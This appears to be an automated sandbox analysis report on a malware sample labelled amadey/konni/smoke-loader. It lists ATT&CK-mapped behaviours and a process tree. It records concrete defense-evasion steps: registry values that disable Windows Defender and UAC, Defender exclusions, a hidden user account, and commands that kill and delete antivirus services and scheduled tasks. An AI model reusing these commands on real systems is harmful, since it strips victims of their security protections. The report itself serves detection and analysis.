a36bb3dbfa3e5ecbbafc07e1f3829035101a2f5883667bf0cbe2e686857a9ccd

Windows Service

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Windows security bypass 2 TTPs 2 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

Windows Service

Disable or Modify System Firewall

T1562.004

pid	Process
5524	netsh.exe
452	netsh.exe

Possible privilege escalation attempt 64 IoCs

exploit

pid	Process
2868	icacls.exe
4324	icacls.exe
1460	icacls.exe
436	icacls.exe
2260	icacls.exe
3196	icacls.exe
1992	icacls.exe
6132	icacls.exe
3780	icacls.exe
5680	icacls.exe
5172	icacls.exe
5296	icacls.exe
1788	icacls.exe
2340	icacls.exe
5320	icacls.exe
3944	icacls.exe
2264	icacls.exe
5584	icacls.exe
5916	icacls.exe
4512	icacls.exe
2608	icacls.exe
5488	icacls.exe
2236	icacls.exe
5192	icacls.exe
3228	icacls.exe
4108	icacls.exe
5968	icacls.exe
4312	icacls.exe
5440	icacls.exe
1332	icacls.exe
4660	icacls.exe
1368	icacls.exe
6096	icacls.exe
1912	icacls.exe
1760	icacls.exe
5296	icacls.exe
5272	icacls.exe
3192	icacls.exe
5320	icacls.exe
1672	icacls.exe
1448	icacls.exe
3248	icacls.exe
3384	icacls.exe
832	icacls.exe
5624	icacls.exe
4948	icacls.exe
1772	icacls.exe
2456	icacls.exe
2160	icacls.exe
1644	icacls.exe
5184	icacls.exe
1436	icacls.exe
3124	icacls.exe
428	icacls.exe
3224	icacls.exe
1576	icacls.exe
1772	icacls.exe
4284	icacls.exe
3392	icacls.exe
2800	icacls.exe
5128	icacls.exe
368	icacls.exe
2804	icacls.exe
5088	icacls.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-83325578-304917428-1200496059-1000\Control Panel\International\Geo\Nation	2025-04-01_f513dc988cb2c77428b754ffb9669040_amadey_konni_smoke-loader.exe
Key value queried	\REGISTRY\USER\S-1-5-21-83325578-304917428-1200496059-1000\Control Panel\International\Geo\Nation	WScript.exe

Modifies file permissions 1 TTPs 64 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4076	icacls.exe
832	icacls.exe
1788	icacls.exe
4576	icacls.exe
1460	icacls.exe
1448	icacls.exe
5916	icacls.exe
2264	icacls.exe
2260	icacls.exe
5928	icacls.exe
5320	icacls.exe
3488	icacls.exe
5384	icacls.exe
5272	icacls.exe
3308	icacls.exe
5976	icacls.exe
2988	icacls.exe
1748	icacls.exe
6072	icacls.exe
2608	icacls.exe
5400	icacls.exe
864	icacls.exe
5428	icacls.exe
2236	icacls.exe
3436	icacls.exe
2340	icacls.exe
4312	icacls.exe
3812	icacls.exe
5296	icacls.exe
2092	icacls.exe
1056	icacls.exe
3780	icacls.exe
3516	icacls.exe
5300	icacls.exe
3168	icacls.exe
4600	icacls.exe
3488	icacls.exe
4432	icacls.exe
3192	icacls.exe
808	icacls.exe
4324	icacls.exe
4936	icacls.exe
4512	icacls.exe
436	icacls.exe
5968	icacls.exe
5356	icacls.exe
5624	icacls.exe
2456	icacls.exe
4176	icacls.exe
2264	icacls.exe
5488	icacls.exe
3692	icacls.exe
1672	icacls.exe
4596	icacls.exe
1760	icacls.exe
3080	icacls.exe
3760	icacls.exe
3752	icacls.exe
3780	icacls.exe
1688	icacls.exe
5940	icacls.exe
3868	icacls.exe
2472	icacls.exe
3196	icacls.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Enumerates connected drives 3 TTPs 2 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	cmd.exe
File opened (read-only)	\??\K:	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\windows\SysWOW64\xmr64	attrib.exe

Hide Artifacts: Hidden Users 1 TTPs 1 IoCs

persistence privilege_escalation

Hidden Users

T1564.002

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\John = "0"	reg.exe

Drops file in Program Files directory 13 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\ESET	attrib.exe
File opened for modification	C:\Program Files\AVAST Software\Avast	attrib.exe
File opened for modification	C:\Program Files\Kaspersky Lab	attrib.exe
File opened for modification	C:\Program Files (x86)\Kaspersky Lab	attrib.exe
File opened for modification	C:\Program Files (x86)\AVG	attrib.exe
File opened for modification	C:\Program Files\COMODO\COMODO Internet Security	attrib.exe
File opened for modification	C:\Program Files (x86)\360\Total Security	attrib.exe
File opened for modification	C:\Program Files\Cezurity	attrib.exe
File opened for modification	C:\Program Files\McAfee	attrib.exe
File opened for modification	C:\Program Files\Malwarebytes\Anti-Malware	attrib.exe
File opened for modification	C:\Program Files\AVG	attrib.exe
File opened for modification	C:\Program Files (x86)\Cezurity	attrib.exe
File opened for modification	C:\Program Files\McAfee.com	attrib.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File opened for modification	C:\windows\min	attrib.exe
File opened for modification	C:\Windows\WindowsDefender	attrib.exe
File opened for modification	C:\windows\hhsm	attrib.exe

Launches sc.exe 12 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4452	sc.exe
4352	sc.exe
2492	sc.exe
3300	sc.exe
2228	sc.exe
5276	sc.exe
616	sc.exe
5940	sc.exe
3840	sc.exe
3848	sc.exe
6060	sc.exe
5040	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskkill.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe

Delays execution with timeout.exe 23 IoCs

pid	Process
6032	timeout.exe
1248	timeout.exe
3760	timeout.exe
5260	timeout.exe
2784	timeout.exe
5528	timeout.exe
4852	timeout.exe
1908	timeout.exe
3412	timeout.exe
5892	timeout.exe
2248	timeout.exe
5348	timeout.exe
404	timeout.exe
2660	timeout.exe
684	timeout.exe
5180	timeout.exe
4740	timeout.exe
1868	timeout.exe
1100	timeout.exe
836	timeout.exe
5588	timeout.exe
3704	timeout.exe
436	timeout.exe

Kills process with taskkill 64 IoCs

pid	Process
3608	taskkill.exe
2044	taskkill.exe
5376	taskkill.exe
2148	taskkill.exe
1520	taskkill.exe
1764	taskkill.exe
1632	taskkill.exe
2004	taskkill.exe
2000	taskkill.exe
2668	taskkill.exe
5408	taskkill.exe
712	taskkill.exe
4980	taskkill.exe
4080	taskkill.exe
860	taskkill.exe
4852	taskkill.exe
4284	taskkill.exe
4108	taskkill.exe
5912	taskkill.exe
5288	taskkill.exe
4092	taskkill.exe
4784	taskkill.exe
4972	taskkill.exe
4024	taskkill.exe
5052	taskkill.exe
4588	taskkill.exe
4840	taskkill.exe
4912	taskkill.exe
4352	taskkill.exe
4260	taskkill.exe
5088	taskkill.exe
4360	taskkill.exe
3080	taskkill.exe
3608	taskkill.exe
3156	taskkill.exe
2504	taskkill.exe
3148	taskkill.exe
3376	taskkill.exe
4084	taskkill.exe
5684	taskkill.exe
4624	taskkill.exe
4028	taskkill.exe
5428	taskkill.exe
224	taskkill.exe
3356	taskkill.exe
4088	taskkill.exe
4776	taskkill.exe
3488	taskkill.exe
2260	taskkill.exe
4772	taskkill.exe
5568	taskkill.exe
3252	taskkill.exe
5072	taskkill.exe
5336	taskkill.exe
4772	taskkill.exe
5552	taskkill.exe
1512	taskkill.exe
5084	taskkill.exe
4664	taskkill.exe
3644	taskkill.exe
920	taskkill.exe
4972	taskkill.exe
4784	taskkill.exe
5272	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-83325578-304917428-1200496059-1000_Classes\Local Settings	2025-04-01_f513dc988cb2c77428b754ffb9669040_amadey_konni_smoke-loader.exe

Runs net.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
652	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4256	taskkill.exe
Token: SeDebugPrivilege	2132	taskkill.exe
Token: SeDebugPrivilege	3608	taskkill.exe
Token: SeDebugPrivilege	1512	taskkill.exe
Token: SeDebugPrivilege	4260	taskkill.exe
Token: SeDebugPrivilege	924	taskkill.exe
Token: SeDebugPrivilege	4776	taskkill.exe
Token: SeDebugPrivilege	4108	taskkill.exe
Token: SeDebugPrivilege	4664	taskkill.exe
Token: SeDebugPrivilege	3340	taskkill.exe
Token: SeDebugPrivilege	3500	taskkill.exe
Token: SeDebugPrivilege	5324	taskkill.exe
Token: SeDebugPrivilege	4060	taskkill.exe
Token: SeDebugPrivilege	1500	taskkill.exe
Token: SeDebugPrivilege	4772	taskkill.exe
Token: SeDebugPrivilege	920	taskkill.exe
Token: SeDebugPrivilege	4856	taskkill.exe
Token: SeDebugPrivilege	4972	taskkill.exe
Token: SeDebugPrivilege	5288	taskkill.exe
Token: SeDebugPrivilege	1796	taskkill.exe
Token: SeDebugPrivilege	436	taskkill.exe
Token: SeDebugPrivilege	3488	taskkill.exe
Token: SeDebugPrivilege	2160	taskkill.exe
Token: SeDebugPrivilege	2044	taskkill.exe
Token: SeDebugPrivilege	4028	taskkill.exe
Token: SeDebugPrivilege	5428	taskkill.exe
Token: SeDebugPrivilege	5940	taskkill.exe
Token: SeDebugPrivilege	1764	taskkill.exe
Token: SeDebugPrivilege	4284	taskkill.exe
Token: SeDebugPrivilege	4084	taskkill.exe
Token: SeDebugPrivilege	5088	taskkill.exe
Token: SeDebugPrivilege	548	taskkill.exe
Token: SeDebugPrivilege	2504	taskkill.exe
Token: SeDebugPrivilege	1116	taskkill.exe
Token: SeDebugPrivilege	2216	taskkill.exe
Token: SeDebugPrivilege	224	taskkill.exe
Token: SeDebugPrivilege	3308	taskkill.exe
Token: SeDebugPrivilege	4784	taskkill.exe
Token: SeDebugPrivilege	4080	taskkill.exe
Token: SeDebugPrivilege	2260	taskkill.exe
Token: SeDebugPrivilege	4792	taskkill.exe
Token: SeDebugPrivilege	5272	taskkill.exe
Token: SeDebugPrivilege	4772	taskkill.exe
Token: SeDebugPrivilege	1632	taskkill.exe
Token: SeDebugPrivilege	712	taskkill.exe
Token: SeDebugPrivilege	876	taskkill.exe
Token: SeDebugPrivilege	3368	taskkill.exe
Token: SeDebugPrivilege	1608	taskkill.exe
Token: SeDebugPrivilege	3356	taskkill.exe
Token: SeDebugPrivilege	5568	taskkill.exe
Token: SeDebugPrivilege	1668	taskkill.exe
Token: SeDebugPrivilege	5416	taskkill.exe
Token: SeDebugPrivilege	760	taskkill.exe
Token: SeDebugPrivilege	4352	taskkill.exe
Token: SeDebugPrivilege	4284	taskkill.exe
Token: SeDebugPrivilege	4840	taskkill.exe
Token: SeDebugPrivilege	4092	taskkill.exe
Token: SeDebugPrivilege	4420	taskkill.exe
Token: SeDebugPrivilege	4860	taskkill.exe
Token: SeDebugPrivilege	4928	taskkill.exe
Token: SeDebugPrivilege	3728	taskkill.exe
Token: SeDebugPrivilege	1164	taskkill.exe
Token: SeDebugPrivilege	5376	taskkill.exe
Token: SeDebugPrivilege	2664	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3476 wrote to memory of 6076	3476	2025-04-01_f513dc988cb2c77428b754ffb9669040_amadey_konni_smoke-loader.exe	89
PID 3476 wrote to memory of 6076	3476	2025-04-01_f513dc988cb2c77428b754ffb9669040_amadey_konni_smoke-loader.exe	89
PID 3476 wrote to memory of 6076	3476	2025-04-01_f513dc988cb2c77428b754ffb9669040_amadey_konni_smoke-loader.exe	89
PID 6076 wrote to memory of 3324	6076	WScript.exe	92
PID 6076 wrote to memory of 3324	6076	WScript.exe	92
PID 6076 wrote to memory of 3324	6076	WScript.exe	92
PID 3324 wrote to memory of 3848	3324	cmd.exe	94
PID 3324 wrote to memory of 3848	3324	cmd.exe	94
PID 3324 wrote to memory of 3848	3324	cmd.exe	94
PID 3324 wrote to memory of 6060	3324	cmd.exe	95
PID 3324 wrote to memory of 6060	3324	cmd.exe	95
PID 3324 wrote to memory of 6060	3324	cmd.exe	95
PID 3324 wrote to memory of 5040	3324	cmd.exe	96
PID 3324 wrote to memory of 5040	3324	cmd.exe	96
PID 3324 wrote to memory of 5040	3324	cmd.exe	96
PID 3324 wrote to memory of 4452	3324	cmd.exe	97
PID 3324 wrote to memory of 4452	3324	cmd.exe	97
PID 3324 wrote to memory of 4452	3324	cmd.exe	97
PID 3324 wrote to memory of 4352	3324	cmd.exe	98
PID 3324 wrote to memory of 4352	3324	cmd.exe	98
PID 3324 wrote to memory of 4352	3324	cmd.exe	98
PID 3324 wrote to memory of 4256	3324	cmd.exe	99
PID 3324 wrote to memory of 4256	3324	cmd.exe	99
PID 3324 wrote to memory of 4256	3324	cmd.exe	99
PID 3324 wrote to memory of 2492	3324	cmd.exe	101
PID 3324 wrote to memory of 2492	3324	cmd.exe	101
PID 3324 wrote to memory of 2492	3324	cmd.exe	101
PID 3324 wrote to memory of 3300	3324	cmd.exe	102
PID 3324 wrote to memory of 3300	3324	cmd.exe	102
PID 3324 wrote to memory of 3300	3324	cmd.exe	102
PID 3324 wrote to memory of 5276	3324	cmd.exe	103
PID 3324 wrote to memory of 5276	3324	cmd.exe	103
PID 3324 wrote to memory of 5276	3324	cmd.exe	103
PID 3324 wrote to memory of 616	3324	cmd.exe	104
PID 3324 wrote to memory of 616	3324	cmd.exe	104
PID 3324 wrote to memory of 616	3324	cmd.exe	104
PID 3324 wrote to memory of 1048	3324	cmd.exe	105
PID 3324 wrote to memory of 1048	3324	cmd.exe	105
PID 3324 wrote to memory of 1048	3324	cmd.exe	105
PID 3324 wrote to memory of 736	3324	cmd.exe	106
PID 3324 wrote to memory of 736	3324	cmd.exe	106
PID 3324 wrote to memory of 736	3324	cmd.exe	106
PID 3324 wrote to memory of 4764	3324	cmd.exe	107
PID 3324 wrote to memory of 4764	3324	cmd.exe	107
PID 3324 wrote to memory of 4764	3324	cmd.exe	107
PID 3324 wrote to memory of 2544	3324	cmd.exe	108
PID 3324 wrote to memory of 2544	3324	cmd.exe	108
PID 3324 wrote to memory of 2544	3324	cmd.exe	108
PID 3324 wrote to memory of 2036	3324	cmd.exe	109
PID 3324 wrote to memory of 2036	3324	cmd.exe	109
PID 3324 wrote to memory of 2036	3324	cmd.exe	109
PID 3324 wrote to memory of 5412	3324	cmd.exe	110
PID 3324 wrote to memory of 5412	3324	cmd.exe	110
PID 3324 wrote to memory of 5412	3324	cmd.exe	110
PID 3324 wrote to memory of 808	3324	cmd.exe	111
PID 3324 wrote to memory of 808	3324	cmd.exe	111
PID 3324 wrote to memory of 808	3324	cmd.exe	111
PID 3324 wrote to memory of 4128	3324	cmd.exe	112
PID 3324 wrote to memory of 4128	3324	cmd.exe	112
PID 3324 wrote to memory of 4128	3324	cmd.exe	112
PID 3324 wrote to memory of 888	3324	cmd.exe	113
PID 3324 wrote to memory of 888	3324	cmd.exe	113
PID 3324 wrote to memory of 888	3324	cmd.exe	113
PID 3324 wrote to memory of 744	3324	cmd.exe	114

Views/modifies file attributes 1 TTPs 64 IoCs

Hidden Files and Directories

T1564.001

pid	Process
3720	attrib.exe
5444	attrib.exe
1788	attrib.exe
4536	attrib.exe
3212	attrib.exe
2232	attrib.exe
3756	attrib.exe
1212	attrib.exe
2000	attrib.exe
5792	attrib.exe
888	attrib.exe
2964	attrib.exe
864	attrib.exe
676	attrib.exe
2800	attrib.exe
2360	attrib.exe
4660	attrib.exe
1764	attrib.exe
5636	attrib.exe
5644	attrib.exe
216	attrib.exe
6052	attrib.exe
4536	attrib.exe
4424	attrib.exe
5788	attrib.exe
2228	attrib.exe
2700	attrib.exe
5428	attrib.exe
4328	attrib.exe
3744	attrib.exe
4440	attrib.exe
3932	attrib.exe
3984	attrib.exe
2884	attrib.exe
1028	attrib.exe
3208	attrib.exe
3644	attrib.exe
2752	attrib.exe
4792	attrib.exe
5288	attrib.exe
6040	attrib.exe
3228	attrib.exe
1344	attrib.exe
1804	attrib.exe
3156	attrib.exe
1332	attrib.exe
2692	attrib.exe
1448	attrib.exe
1660	attrib.exe
2676	attrib.exe
1748	attrib.exe
1688	attrib.exe
3668	attrib.exe
3728	attrib.exe
5468	attrib.exe
5824	attrib.exe
1664	attrib.exe
404	attrib.exe
548	attrib.exe
832	attrib.exe
1652	attrib.exe
5588	attrib.exe
2340	attrib.exe
2652	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2025-04-01_f513dc988cb2c77428b754ffb9669040_amadey_konni_smoke-loader.exe
"C:\Users\Admin\AppData\Local\Temp\2025-04-01_f513dc988cb2c77428b754ffb9669040_amadey_konni_smoke-loader.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3476
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\programdata\microsoft\temp\Clean.vbs"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:6076
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\ProgramData\microsoft\Temp\Clean.bat" "
    3⤵
    - Enumerates connected drives
    - Suspicious use of WriteProcessMemory
    PID:3324
  - - C:\Windows\SysWOW64\sc.exe
      sc delete swprv
      4⤵
      Launches sc.exe
      PID:3848
  - - C:\Windows\SysWOW64\sc.exe
      sc start AppIDSvc
      4⤵
      Launches sc.exe
      PID:6060
  - - C:\Windows\SysWOW64\sc.exe
      sc config AppIDSvc start= Auto
      4⤵
      Launches sc.exe
      PID:5040
  - - C:\Windows\SysWOW64\sc.exe
      sc start AppMgmt
      4⤵
      Launches sc.exe
      PID:4452
  - - C:\Windows\SysWOW64\sc.exe
      sc config AppMgmt start= Auto
      4⤵
      Launches sc.exe
      PID:4352
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM mbamservice.EXE /T /F
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4256
  - - C:\Windows\SysWOW64\sc.exe
      sc stop mbamservice
      4⤵
      Launches sc.exe
      PID:2492
  - - C:\Windows\SysWOW64\sc.exe
      sc delete mbamservice
      4⤵
      Launches sc.exe
      PID:3300
  - - C:\Windows\SysWOW64\sc.exe
      sc stop MinerGate
      4⤵
      Launches sc.exe
      PID:5276
  - - C:\Windows\SysWOW64\sc.exe
      sc delete MinerGate
      4⤵
      Launches sc.exe
      PID:616
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "System\SecurityService" /F
      4⤵
      PID:1048
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Windows\ServiceRun" /F
      4⤵
      PID:736
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "System\SecurityService" /F
      4⤵
      PID:4764
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "System\SecurityService2" /F
      4⤵
      PID:2544
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "System\Security Service2" /F
      4⤵
      PID:2036
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Windowss\Data\ServiceRun" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:5412
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Windowss\Data\ServiceRun0" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:808
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Windowss\Data\ServiceRun1" /F
      4⤵
      PID:4128
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Windowss\Data\ServiceRun2" /F
      4⤵
      PID:888
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Windowss\Data\ServiceRun3" /F
      4⤵
      PID:744
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "AzureSDKService" /F
      4⤵
      PID:4260
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "WindowsUpdater" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:2576
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "AdobeUppdate" /F
      4⤵
      PID:4532
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Windows\SpaceManagTask" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:224
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "System\SecurityService" /F
      4⤵
      PID:5968
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Windows\ServiceRun" /F
      4⤵
      PID:2756
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "\Microsoft\Windows\WindowsUpdate\SUpdate" /F
      4⤵
      PID:5060
